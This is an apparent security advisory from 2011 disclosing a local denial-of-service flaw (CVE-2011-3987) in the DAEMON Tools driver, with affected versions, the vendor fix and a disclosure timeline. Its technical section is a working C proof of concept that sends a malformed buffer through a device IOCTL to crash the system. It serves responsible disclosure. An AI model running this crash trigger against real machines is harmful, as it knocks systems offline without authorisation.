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DAEMON Tools IOCTL local denial-of-service vulnerability
From: tanda () fourteenforty jp
Date: Mon, 17 Oct 2011 04:27:20 GMT

Advisory: DAEMON Tools IOCTL local denial-of-service vulnerability
Advisory ID: JVNDB-2011-000085
Author: Satoshi TANDA
Affected Software: Successfully tested on DAEMON Tools 4.40
Vendor URL: http://www.daemon-tools.cc/eng/home
Vendor Status: fixed
CVE-ID: CVE-2011-3987



==========================
Vulnerability Description:
==========================

Following products contain a local denial-of-service (DoS) vulnerability.

Affected products:
* DAEMON Tools Lite versions prior to 4.41.3
* DAEMON Tools Pro Standard versions prior to 4.41.0315
* DAEMON Tools Pro Advanced versions prior to 4.41.0315



==================
Technical Details:
==================

#include <Windows.h>
int main(){
    HANDLE Device = CreateFile(TEXT("\\\\.\\dtsoftbusctl"), 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 
NULL);
    if (Device == INVALID_HANDLE_VALUE)
        return 1;

    BYTE InData[0x400]; 
    memset(InData, 0xf0, sizeof(InData));

    DWORD ResultBytes = 0;
    DWORD IoControlCode = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0A01, METHOD_BUFFERED, FILE_ANY_ACCESS);
    DeviceIoControl(Device, IoControlCode, InData, sizeof(InData), NULL, 0, &ResultBytes, NULL);
    /* unreachable code */system("pause");
}


=========
Solution:
=========

- Update to the latest version - http://www.daemon-tools.cc/eng/downloads



====================
Disclosure Timeline:
====================

09-Mar-2011 - Informed Information-technology Promotion Agency, Japan
03-Aug-2011 - Vendor fix
17-Oct-2011 - Release date of this security advisory



========
Credits:
========

Vulnerability found and advisory written by Satoshi TANDA.



===========
References:
===========

http://jvndb.jvn.jp/en/contents/2011/JVNDB-2011-000085.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3987


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